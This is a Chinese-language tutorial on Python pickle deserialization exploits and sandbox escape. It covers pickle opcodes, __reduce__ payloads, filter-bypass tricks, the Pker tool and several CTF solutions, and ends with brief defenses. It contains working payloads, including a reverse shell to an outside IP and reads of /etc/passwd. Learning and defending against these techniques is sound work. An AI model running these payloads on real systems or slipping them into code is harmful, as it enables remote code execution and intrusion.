抽象语法树在PVM中的应用,从Python沙箱逃逸看PICKLE操作码
字数 1766 2025-08-22 12:22:48

Python Pickle反序列化与沙箱逃逸技术详解

一、Pickle基础

1. Pickle基本方法

Pickle模块提供了四种主要方法:

pickle.dump(obj, file)    # 将对象序列化并写入文件(需wb模式)
pickle.load(file)         # 从文件反序列化对象(需rb模式)
pickle.dumps(obj)         # 将对象序列化为bytes类型返回
pickle.loads(data)        # 将bytes类型数据反序列化(要求bytes-like对象)

简记:

  • pickle.dumps() => serialize
  • pickle.loads() => unserialize

2. Pickle操作码(Opcode)

Pickle使用操作码来序列化对象,常用操作码如下(V0版本):

操作码 功能描述
c 获取全局对象或导入模块 c[module]\n[instance]\n
o 调用栈中上一个MARK后的第一个函数,参数为后续数据
i co的组合,先获取全局函数再调用
N 实例化None
S 实例化字符串对象 S'xxx'\n
V 实例化UNICODE字符串 Vxxx\n
I 实例化int对象 Ixxx\n
F 实例化float对象 Fx.x\n
R 调用栈上第一个对象(函数)和第二个对象(参数元组)
. 程序结束,栈顶元素作为返回值
( 压入MARK标记
t 组合MARK之间的数据为元组
) 压入空元组
l 组合MARK之间的数据为列表
] 压入空列表
d 组合MARK之间的数据为字典(key-value对)
} 压入空字典
p 将栈顶对象储存至memo pn\n
g 将memo_n的对象压栈 gn\n
0 丢弃栈顶对象
b 使用字典设置对象属性
s 将前两个对象作为key-value更新到第三个对象(列表/字典)
u 类似s但处理MARK之间的多个key-value对
a 将第一个元素append到第二个元素(列表)中
e 类似a但处理MARK之间的多个元素

3. Pickle工具使用

使用pickletools可以方便地解析操作码:

import pickletools

data = b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)

二、Pickle反序列化漏洞利用

1. 基本利用方式

(1) 命令执行

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('whoami',))

payload = pickle.dumps(Exploit())
pickle.loads(payload)  # 执行系统命令

(2) 反弹Shell

class Exploit(object):
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/8.130.110.182/2333 0>&1'"
        return (eval, (cmd,))

(3) 变量覆盖

opcode = b'''c__main__\nsecret\n(S'secret'\nS'Polluted~'\ndb.'''
pickle.loads(opcode)
print(secret.secret)  # 输出: Polluted~

(4) 实例化对象

opcode = b'''c__main__\nA\n(I18\ntR.'''
obj = pickle.loads(opcode)
print(f"name is {obj.name} and age is {obj.age}")

2. 操作码利用技巧

(1) R指令(REDUCE)

opcode = b'''cos\nsystem\n(S'whoami'\ntR.'''

分解:

  1. c - 导入os.system
  2. ( - 压入MARK
  3. S'whoami' - 压入字符串
  4. t - 组合为元组
  5. R - 调用函数

(2) i指令(INST)

opcode = b'''(S'whoami'\nios\nsystem\n.'''

(3) o指令(OBJ)

opcode = b'''(cos\nsystem\nS'whoami'\no.'''

(4) b指令(BUILD)

opcode = b'''(c__main__\nAnimal\nS'Casual'\nI18\no}(S"__setstate__"\ncos\nsystem\nubS"whoami"\nb.'''

3. 绕过限制技巧

(1) 绕过builtins限制

# 方法1:通过getattr获取
opcode = b'''cbuiltins\ngetattr\n(cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntR(cbuiltins\nglobals\n)RS'__builtins__'\ntRS'eval'\ntR(S'__import__("os").system("whoami")'\ntR.'''

# 方法2:通过__getattribute__
opcode = b'''cbuiltins\n__getattribute__\n(S'eval'\ntR(S'__import__("os").system("whoami")'\ntR.'''

(2) 绕过关键词过滤

# 双写绕过
original = b"os.system"
bypassed = b"ooss.system"

# 使用eval代替
opcode = b'''cbuiltins\neval\n(S'__import__("os").system("whoami")'\ntR.'''

# 使用pty模块
opcode = b'''cbuiltins\neval\n(S'__import__("pty").spawn("whoami")'\ntR.'''

(3) 绕过点号限制

使用getattr链式调用:

getattr(getattr(getattr(getattr((),'__class__'),'__bases__'),'__getitem__')(0),'__subclasses__')()

(4) 绕过中括号限制

使用__getitem__pop代替:

"".__class__.__bases__.__getitem__(0).__subclasses__().pop(40)('/etc/passwd').read()

三、Pker工具使用

Pker是一个用于生成Pickle操作码的工具,简化了复杂payload的构造。

1. 基本语法

# 导入模块和函数
getattr = GLOBAL('builtins','getattr')
dict = GLOBAL('builtins','dict')

# 调用函数
system = GLOBAL('os', 'system')
system('whoami')

# 实例化对象
animal = INST('__main__', 'Animal', '1', '2')
return animal

2. Pker生成示例

(1) 命令执行

system = GLOBAL('builtins', 'eval')
system('__import__("os").system("whoami")')
return

(2) 绕过限制

# BalsnCTF:pyshv1解法
modules = GLOBAL('sys','modules')
modules['sys'] = modules
get = GLOBAL('sys','get')
os = get('os')
modules['sys'] = os
system = GLOBAL('sys','system')
system('whoami')
return

(3) 变量覆盖

secret = GLOBAL('__main__', 'secret')
secret.name = 'hacked'
secret.category = 'hacked'
return

四、Python沙箱逃逸技术

1. 命令执行方式

# 常见方式
os.system('whoami')
os.popen('whoami').read()
subprocess.Popen('whoami', shell=True)
platform.popen('whoami').read()
pty.spawn('whoami')

# 通过eval/exec
eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")

# 通过warnings/timeit
warnings.linecache.os.system("whoami")
timeit.timeit("__import__('os').system('whoami')", number=1)

2. 文件读取方式

open('/etc/passwd').read()
linecache.getlines('/etc/passwd')
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

3. 绕过过滤技巧

(1) 字符串拼接

"__im" + "port__('o" + "s').sy" + "stem('who" + "ami')"

(2) 编码绕过

eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+...)

(3) 反向字符串

")'imaohw'(metsys.)'so'(__tropmi__"[::-1]

(4) 属性链访问

().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls')

五、实战案例

1. HZNUCTF ezpickle

import base64
import pickle

class Exploit(object):
    def __reduce__(self):
        return eval, ("__import__('ooss').system('env|tee 1.txt')",)

payload = pickle.dumps(Exploit()).replace(b'os', b'ooss')
print(base64.b64encode(payload).decode())

2. [MTCTF 2022]easypickle

# 伪造session
python3 flask_session_cookie_manager3.py encode -s '444f' -t "{'user':'admin'}"

# Payload构造(绕过R/i/o/b过滤)
opcode = b'''(S'key1' S'var1' S'key2' S'var2' dS'key2' (cos system S'whoami' os.'''

3. BalsnCTF:pyshv2

__dict__ = GLOBAL('structs', '__dict__')
__builtins__ = GLOBAL('structs', '__builtins__')
gtat = GLOBAL('structs', '__getattribute__')
__builtins__['__import__'] = gtat
__dict__['structs'] = __builtins__
builtin_get = GLOBAL('structs', 'get')
eval = builtin_get('eval')
eval('print(123)')
return

六、防御措施

  1. 不要反序列化不受信任的数据
  2. 使用pickle.Unpickler并重写find_class进行限制
  3. 使用更安全的序列化格式如JSON
  4. 对输入进行严格过滤
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise pickle.UnpicklingError("forbidden")
        return super().find_class(module, name)

七、参考资源

  1. Python Pickle反序列化漏洞与沙箱逃逸
  2. Python反序列化漏洞与沙箱逃逸
Python Pickle反序列化与沙箱逃逸技术详解 一、Pickle基础 1. Pickle基本方法 Pickle模块提供了四种主要方法: 简记: pickle.dumps() => serialize pickle.loads() => unserialize 2. Pickle操作码(Opcode) Pickle使用操作码来序列化对象,常用操作码如下(V0版本): | 操作码 | 功能描述 | |--------|----------| | c | 获取全局对象或导入模块 c[module]\n[instance]\n | | o | 调用栈中上一个MARK后的第一个函数,参数为后续数据 | | i | c 和 o 的组合,先获取全局函数再调用 | | N | 实例化None | | S | 实例化字符串对象 S'xxx'\n | | V | 实例化UNICODE字符串 Vxxx\n | | I | 实例化int对象 Ixxx\n | | F | 实例化float对象 Fx.x\n | | R | 调用栈上第一个对象(函数)和第二个对象(参数元组) | | . | 程序结束,栈顶元素作为返回值 | | ( | 压入MARK标记 | | t | 组合MARK之间的数据为元组 | | ) | 压入空元组 | | l | 组合MARK之间的数据为列表 | | ] | 压入空列表 | | d | 组合MARK之间的数据为字典(key-value对) | | } | 压入空字典 | | p | 将栈顶对象储存至memo pn\n | | g | 将memo_ n的对象压栈 gn\n | | 0 | 丢弃栈顶对象 | | b | 使用字典设置对象属性 | | s | 将前两个对象作为key-value更新到第三个对象(列表/字典) | | u | 类似 s 但处理MARK之间的多个key-value对 | | a | 将第一个元素append到第二个元素(列表)中 | | e | 类似 a 但处理MARK之间的多个元素 | 3. Pickle工具使用 使用 pickletools 可以方便地解析操作码: 二、Pickle反序列化漏洞利用 1. 基本利用方式 (1) 命令执行 (2) 反弹Shell (3) 变量覆盖 (4) 实例化对象 2. 操作码利用技巧 (1) R指令(REDUCE) 分解: c - 导入 os.system ( - 压入MARK S'whoami' - 压入字符串 t - 组合为元组 R - 调用函数 (2) i指令(INST) (3) o指令(OBJ) (4) b指令(BUILD) 3. 绕过限制技巧 (1) 绕过builtins限制 (2) 绕过关键词过滤 (3) 绕过点号限制 使用 getattr 链式调用: (4) 绕过中括号限制 使用 __getitem__ 或 pop 代替: 三、Pker工具使用 Pker是一个用于生成Pickle操作码的工具,简化了复杂payload的构造。 1. 基本语法 2. Pker生成示例 (1) 命令执行 (2) 绕过限制 (3) 变量覆盖 四、Python沙箱逃逸技术 1. 命令执行方式 2. 文件读取方式 3. 绕过过滤技巧 (1) 字符串拼接 (2) 编码绕过 (3) 反向字符串 (4) 属性链访问 五、实战案例 1. HZNUCTF ezpickle 2. [ MTCTF 2022 ]easypickle 3. BalsnCTF:pyshv2 六、防御措施 不要反序列化不受信任的数据 使用 pickle.Unpickler 并重写 find_class 进行限制 使用更安全的序列化格式如JSON 对输入进行严格过滤 七、参考资源 Python Pickle反序列化漏洞与沙箱逃逸 Python反序列化漏洞与沙箱逃逸